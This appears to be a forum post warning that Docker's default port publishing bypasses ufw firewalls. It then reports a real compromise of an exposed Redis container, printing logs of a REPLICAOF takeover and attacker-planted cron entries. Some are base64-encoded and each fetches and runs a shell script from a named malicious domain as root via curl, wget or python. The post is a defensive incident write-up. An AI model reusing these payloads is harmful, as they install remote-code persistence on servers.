Be very careful with the ports
definition in your docker compose file or the --publish/-p
option for docker run
! If you only need to expose the container ports to the local host, I would always specify ports as 127.0.0.1:<host-port>:<container-port>
. The <host-port>:<container-port>
syntax exposes the host port to the entire network even when you have some firewall rules, e.g. with ufw
, set up. This has recently been made a lot clearer in the Docker docs:
Publishing container ports is insecure by default. Meaning, when you publish a container's ports it becomes available not only to the Docker host, but to the outside world as well.
If you include the localhost IP address (127.0.0.1) with the publish flag, only the Docker host can access the published container port.
$ docker run -p 127.0.0.1:8080:80 nginx
See also How To Use Docker with a UFW Firewall:
If you set up a basic UFW firewall to deny by default and allow HTTP and SSH, this will appear secure—but it will not block Docker from starting containers bound to other ports. This issue can be hard to catch, as UFW and Docker are separate systems. UFW is unknowingly lying to you and will not show open ports from Docker containers.
So I just ran into the same issue and had the same conclusion as @Glen: someone accessed my (unsecured) redis instance and turned it into a read-only replica:
root@host:~# docker logs <redis-container-id>
1:S 27 Mar 2023 22:40:41.725 * Before turning into a replica, using my own master parameters to synthesize a cached master: I may be able to synchronize with the new master with just a partial transfer.
1:S 27 Mar 2023 22:40:41.725 * Connecting to MASTER 194.38.20.225:8886
1:S 27 Mar 2023 22:40:41.730 * MASTER <-> REPLICA sync started
1:S 27 Mar 2023 22:40:41.731 * REPLICAOF 194.38.20.225:8886 enabled (user request from 'id=41 addr=109.237.96.124:36508 laddr=172.21.0.2:6379 fd=8 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 ssub=0 multi=-1 qbuf=47 qbuf-free=20427 argv-mem=24 multi-mem=0 rbs=1024 rbp=5 obl=0 oll=0 omem=0 tot-mem=22320 events=r cmd=slaveof user=default redir=-1 resp=2')
From what I can tell they pushed (at least) the following keys onto my redis instance:
127.0.0.1:6379> keys *
1) "backup4"
2) "backup2"
3) "backup3"
4) "backup1"
127.0.0.1:6379> get backup1
"\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo=|base64 -d|bash|bash \n\n"
127.0.0.1:6379> get backup2
"\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg==|base64 -d|bash|bash\n\n"
127.0.0.1:6379> get backup3
"\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK|base64 -d|bash|bash\n\n"
127.0.0.1:6379> get backup4
"\n\n\n@hourly root python -c \"import urllib2; print urllib2.urlopen('http://ki\\s\\s.a-d\\og.t\\op/t.sh').read()\" >.1;chmod +x .1;./.1\n\n"
The base64 encoded values decode to the following:
root@host:~# echo Y2QxIGh0dHA6Ly9raXNzLmEtZG9nLnRvcC9iMmY2MjgvYi5zaAo= | base64 -d
cd1 http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo d2dldCAtcSAtTy0gaHR0cDovL2tpc3MuYS1kb2cudG9wL2IyZjYyOC9iLnNoCg== b ase64 -d
wget -q -O- http://kiss.a-dog.top/b2f628/b.sh
root@host:~# echo Y3VybCBodHRwOi8va2lzcy5hLWRvZy50b3AvYjJmNjI4L2Iuc2gK | base64 -d
curl http://kiss.a-dog.top/b2f628/b.sh
At the time of this writing, the domain (kiss.a-dog.top
) seems to be defunct now, so I hope that it didn't actually download any shell scripts from there. But I will still recreate the host machine I guess.